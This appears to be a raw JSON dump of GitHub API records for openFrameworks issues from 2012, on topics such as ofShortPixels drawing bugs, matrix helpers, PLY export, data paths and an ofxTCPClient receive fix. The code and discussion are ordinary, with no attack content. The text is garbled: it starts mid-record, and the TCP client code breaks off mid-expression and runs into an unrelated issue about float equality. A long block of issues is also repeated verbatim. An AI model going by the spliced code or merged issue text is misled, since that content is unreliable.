jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken 